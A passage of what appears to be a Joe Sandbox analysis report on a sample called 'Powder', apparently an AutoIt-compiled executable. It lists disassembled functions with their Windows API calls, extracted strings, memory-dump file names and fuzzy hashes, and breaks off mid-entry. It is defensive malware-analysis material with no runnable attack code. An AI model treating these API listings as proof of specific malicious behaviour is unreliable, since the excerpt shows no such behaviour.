Instruction Fuzzy Hash: F031E5325087069FDB308BA59C48FFB3BE89B01348F14246AE552B61E5D7BA98C9DF11

Function 00E0AC27 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91comCOMMON

Download Yara Rule

APIs

Part of subcall function 00E1FF4C: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00E84186,00000001,00E90980), ref: 00E1FFA7

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00E0AD08
OleInitialize.OLE32(00000000), ref: 00E0AD85
CloseHandle.KERNEL32(00000000), ref: 00E42F56

Strings

<w, xrefs: 00E0AC6B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Handle$CloseInitializeMessageRegisterWindow
String ID: <w
API String ID: 3815369404-539545700
Opcode ID: 95349b883149d6c30b03292d7e51210dd77b33e4f1375d350e98f485bc0e3bf0
Instruction ID: 320db7caf0538f2cd84dbdf2b3bb054fc8cfaa1dd3a9023c08da87046b91e85f
Opcode Fuzzy Hash: 95349b883149d6c30b03292d7e51210dd77b33e4f1375d350e98f485bc0e3bf0
Instruction Fuzzy Hash: 6C41FFB090C2448FC359EF2BAD41E587BE4FB99301310917BE4A8F32B1EA36084ACF51

Function 00E01284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00E01275,SwapMouseButtons,00000004,?), ref: 00E012A8
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00E01275,SwapMouseButtons,00000004,?), ref: 00E012C9
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,00E01275,SwapMouseButtons,00000004,?), ref: 00E012EB

Strings

Control Panel\Mouse, xrefs: 00E012A6

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 6e1ba9362bde567323a51a8869b2fab2f6ed3bce08931e7cd40ff90de7c9e146
Instruction ID: 91883273bb7bcc19c649126fa8341070a70c604d5179111976326822012a39e2
Opcode Fuzzy Hash: 6e1ba9362bde567323a51a8869b2fab2f6ed3bce08931e7cd40ff90de7c9e146
Instruction Fuzzy Hash: 54117C71514208BFDB218FA5DC84EEFBBBCEF05744F0055AAF805EB160D2319E84A7A0

Function 00E20FE6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E2593C: __FF_MSGBANNER.LIBCMT ref: 00E25953
Part of subcall function 00E2593C: __NMSG_WRITE.LIBCMT ref: 00E2595A
Part of subcall function 00E2593C: RtlAllocateHeap.NTDLL(01790000,00000000,00000001,?,00000004,?,?,00E21003,?), ref: 00E2597F

std::exception::exception.LIBCMT ref: 00E2101C
__CxxThrowException@8.LIBCMT ref: 00E21031

Part of subcall function 00E287CB: RaiseException.KERNEL32(?,?,?,00EBCAF8,?,?,?,?,?,00E21036,?,00EBCAF8,?,00000001), ref: 00E28820

Strings

h=, xrefs: 00E21011
`=, xrefs: 00E21029

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID: `=$h=
API String ID: 3902256705-1319648006
Opcode ID: 05ceb0c5caf8111ac7eb00e4751e927e20fd51080af86c6eabb2fc3aa26cfcb4
Instruction ID: 89a8c1c8e2571fee4e5c033aa47771f8a4e0872d873e0433ee94a6f184b14ace
Opcode Fuzzy Hash: 05ceb0c5caf8111ac7eb00e4751e927e20fd51080af86c6eabb2fc3aa26cfcb4
Instruction Fuzzy Hash: 8BF0A43564422DB6CB20AA68FD16EDE77ECAF01314F202466F814B2291DFB18B80C6E4

Function 00E63F1D Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00E92C4C), ref: 00E63F57
GetLastError.KERNEL32 ref: 00E63F66
CreateDirectoryW.KERNEL32(?,00000000), ref: 00E63F75
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00E92C4C), ref: 00E63FD2

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: c768cd899a8340e958a5fd3d092e2d0ffb2a7d3fa70279c45cbdb553f39b026d
Instruction ID: b0bffad38ab4ad383920f661178864fd659b79826cd2a0be16543d0a65b270e7
Opcode Fuzzy Hash: c768cd899a8340e958a5fd3d092e2d0ffb2a7d3fa70279c45cbdb553f39b026d
Instruction Fuzzy Hash: 3E219470A482019F8700DF38D8858EAB7F4FF553A8F10665EF4A5E72A2D731DA49CB42

Function 00E15B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E15B58

Part of subcall function 00E156F8: _memset.LIBCMT ref: 00E15787
Part of subcall function 00E156F8: _wcscpy.LIBCMT ref: 00E157DB
Part of subcall function 00E156F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00E157EB

KillTimer.USER32(?,00000001,?,?), ref: 00E15BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00E15BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00E50D7C

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 6194c4862e411e44e42173e2533d74f0132b6795d4ec6151d8fc9fe620c3eb4d
Instruction ID: ecd9c6bb1db4758829ec4c82638b780ed7a5663b3194039962a341d4a7bf5aa1
Opcode Fuzzy Hash: 6194c4862e411e44e42173e2533d74f0132b6795d4ec6151d8fc9fe620c3eb4d
Instruction Fuzzy Hash: 212107715087849FE7728B648899FEABBFCAF41308F04148EE6DA76181C37429C8CB51

Function 00E1278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00E149C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00E127AF,?,00000001), ref: 00E149F4

_free.LIBCMT ref: 00E4FB04
_free.LIBCMT ref: 00E4FB4B

Part of subcall function 00E129BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00E12ADF

Strings

Bad directive syntax error, xrefs: 00E4FB33

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: b53cd19117f98a519178146ac567df4ef8a67c467eb2376e2f4df350c93910e8
Instruction ID: e23bc7d94099e3297b2c3f20775ca5b4798ce91beb81d3c774436542109a54c6
Opcode Fuzzy Hash: b53cd19117f98a519178146ac567df4ef8a67c467eb2376e2f4df350c93910e8
Instruction Fuzzy Hash: 3E916C71910219AFCF04EFA4D8519EEB7F4BF49314F10656AE916BB2A1DB309A44CB50

Function 00E148B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E148FA

Strings

EA06, xrefs: 00E508A1
AU3! ?, xrefs: 00E148F4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memmove
String ID: AU3! ?$EA06
API String ID: 4104443479-1349402219
Opcode ID: e8596a1463e8c3f391beb9d5e8006d79f22919d2f05cdfad1f88b61f1e4b9b9b
Instruction ID: a79789728b3ccaa40477baa3fd3267046fa2f423044735caac87ff801e13de8e
Opcode Fuzzy Hash: e8596a1463e8c3f391beb9d5e8006d79f22919d2f05cdfad1f88b61f1e4b9b9b
Instruction Fuzzy Hash: 154189B1A042595BDF229B548851BFF7FE58F86310F286065FC82BB3C2D6218DC483A1

Function 00E69CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00E14AB2: __fread_nolock.LIBCMT ref: 00E14AD0

_wcscmp.LIBCMT ref: 00E69DE1
_wcscmp.LIBCMT ref: 00E69DF4

Strings

FILE, xrefs: 00E69D2D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 3bd5a00b2b68d78e395d1d5bfcdb812e1533243ca4c71ad38710aa483d1832f4
Instruction ID: 19114dc2f41d0c7cb3ee79696e9d7611ba01e29997a5986c1aff862b70a9845d
Opcode Fuzzy Hash: 3bd5a00b2b68d78e395d1d5bfcdb812e1533243ca4c71ad38710aa483d1832f4
Instruction Fuzzy Hash: 2141F872A40219BADF20DBA4DC45FEF77FDEF45754F01046AF900B7281E67199448B64

Function 00E72C5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E72C6A
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00E72CA0

Strings

|, xrefs: 00E72C71

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 46f04284e9a1ac0b8b56c2cc68f29ff777ed3bc012137f73e1c024a919ae61d0
Instruction ID: ef3d65b4b4ffacc9aa5a21e279f1979332d83144ee45fa205ca34606c169db5f
Opcode Fuzzy Hash: 46f04284e9a1ac0b8b56c2cc68f29ff777ed3bc012137f73e1c024a919ae61d0
Instruction Fuzzy Hash: FD315D71C00119ABCF11EFA1CC85AEEBFB9FF04344F105059FA29B6166DB315A56DBA0

Function 00E131BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E5032B
GetOpenFileNameW.COMDLG32(?), ref: 00E50375

Part of subcall function 00E20284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E12A58,?,00008000), ref: 00E202A4

Part of subcall function 00E209C5: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00E209E4

Strings

X, xrefs: 00E50343

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 0a932c96f65b22deac0d53f4d679f07d4f8287255dd19380a3d07bbd442c9a83
Instruction ID: e0a0f5a69018acb63756a9613fdaadc74085aebb70cb7b82e568fa8061dad0fb
Opcode Fuzzy Hash: 0a932c96f65b22deac0d53f4d679f07d4f8287255dd19380a3d07bbd442c9a83
Instruction Fuzzy Hash: 0321A171A002989BCF41DF94D805BEE7BF89F49304F00506AE404B7281DBB59A89CFA1

Function 00E728A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00E728F8
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00E72921

Strings

<local>, xrefs: 00E728E9

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: bce56249b66832ee507c26312874a6aeb6c5da3c3eac782e6e997aebca287fa3
Instruction ID: 479f47ce95505e2b267c703c34f38962b761b4d5e9e570e5ce580703990e8e5d
Opcode Fuzzy Hash: bce56249b66832ee507c26312874a6aeb6c5da3c3eac782e6e997aebca287fa3
Instruction Fuzzy Hash: 9411CE70501226BEEB288A51CC88EFBFBA8EF05364F10912FFA4966000E3716994D6E1

Function 00E7D1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83ec780eae6a5a1c587368d3c148457a8a542a82a669275af540f8ee42843475
Instruction ID: 5a3df5116435ba74c4ee354c282fbd73b92d7ef76596fec55bebd38059604d18
Opcode Fuzzy Hash: 83ec780eae6a5a1c587368d3c148457a8a542a82a669275af540f8ee42843475
Instruction Fuzzy Hash: 99F12AB06083019FC714DF28C98496ABBF5FF88314F14992EF999AB291D731E945CF92

Function 00E159D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E159F9
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00E15A9E
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00E15ABB

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: fea568dd83927b1b9bf283fac3805a890fa4419ace5c2d87045ad50dd98ae4ad
Instruction ID: 853d5d65308b9653d1999886eb7c44fcc64eaac90e499c05213cdf199066756d
Opcode Fuzzy Hash: fea568dd83927b1b9bf283fac3805a890fa4419ace5c2d87045ad50dd98ae4ad
Instruction Fuzzy Hash: E83182B1505701CFD724DF25D884AD7BBE4FF88309F000A2EF5DAA2250D7716988CB51

Function 00E2593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00E25953

Part of subcall function 00E2A39B: __NMSG_WRITE.LIBCMT ref: 00E2A3C2
Part of subcall function 00E2A39B: __NMSG_WRITE.LIBCMT ref: 00E2A3CC

__NMSG_WRITE.LIBCMT ref: 00E2595A

Part of subcall function 00E2A3F8: GetModuleFileNameW.KERNEL32(00000000,00EC53BA,00000104,00000004,00000001,00E21003), ref: 00E2A48A
Part of subcall function 00E2A3F8: ___crtMessageBoxW.LIBCMT ref: 00E2A538

Part of subcall function 00E232CF: ___crtCorExitProcess.LIBCMT ref: 00E232D5
Part of subcall function 00E232CF: ExitProcess.KERNEL32 ref: 00E232DE

Part of subcall function 00E28D58: __getptd_noexit.LIBCMT ref: 00E28D58

RtlAllocateHeap.NTDLL(01790000,00000000,00000001,?,00000004,?,?,00E21003,?), ref: 00E2597F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 5dcf1956c52a60e3c380a6df8f7657f57054e37a13ec18095841141636404c4d
Instruction ID: bae15cc0d215254e520c0bc8d454b397d024ea90f8c5f6aa180fdbf155a98308
Opcode Fuzzy Hash: 5dcf1956c52a60e3c380a6df8f7657f57054e37a13ec18095841141636404c4d
Instruction Fuzzy Hash: 0001D233242B36DEE6156735BD02A6E32989FC2774F50203BF425BA1A1DE749D814A61

Function 00E72953 Relevance: 4.5, APIs: 3, Instructions: 46networkCOMMON

Download Yara Rule

APIs

InternetQueryOptionW.WININET(00000000,00000026,00000000,?), ref: 00E72970
_memset.LIBCMT ref: 00E7298B
InternetQueryOptionW.WININET(00000000,00000026,00000000,?), ref: 00E7299B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: InternetOptionQuery$_memset
String ID:
API String ID: 3210845847-0
Opcode ID: e39fc3b3b6ee5189aa8624f4ed339f843e2dc03e485bcca689a035628f765764
Instruction ID: 209246deb89596d4d9d2d7e392b4c64ba8622a15a2d343e3c6cb77143659a925
Opcode Fuzzy Hash: e39fc3b3b6ee5189aa8624f4ed339f843e2dc03e485bcca689a035628f765764
Instruction Fuzzy Hash: 1BF0A47144421CBFE720AF50DC81CEF3B9DEF143D4B449026FA0869141C6329E80CAA0

Function 00E692C8 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E692D6

Part of subcall function 00E22F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00E29C54,00000000,00E28D5D,00E259C3), ref: 00E22F99
Part of subcall function 00E22F85: GetLastError.KERNEL32(00000000,?,00E29C54,00000000,00E28D5D,00E259C3), ref: 00E22FAB

_free.LIBCMT ref: 00E692E7
_free.LIBCMT ref: 00E692F9

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction ID: 308dbd6aa8355deac354a8b2fd746cc2fc06a0b24427aff97b7b99dfe7987466
Opcode Fuzzy Hash: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction Fuzzy Hash: 2DE0C2A130461263DA20A5387A40E8377EC0FC8791714240EB509F3143CE30E8408028

Function 00E05E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 00E3E234

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: dc38e8672c25027c27297929edaad6d725aa23159a8f7f7e888ef78fc3641c40
Instruction ID: 0fcaafaa6563726e110984485b20f2526b325b9bff51bfa29cf726433d289892
Opcode Fuzzy Hash: dc38e8672c25027c27297929edaad6d725aa23159a8f7f7e888ef78fc3641c40
Instruction Fuzzy Hash: 33325C70508301DFD724DF14C584B6ABBE1BF84304F15A96DE88AAB3A2D735ED95CB82

Function 00E7E139 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 00E7E20C

Part of subcall function 00E04D37: __itow.LIBCMT ref: 00E04D62
Part of subcall function 00E04D37: __swprintf.LIBCMT ref: 00E04DAC

_wcscpy.LIBCMT ref: 00E7E29B

Memory Dump Source

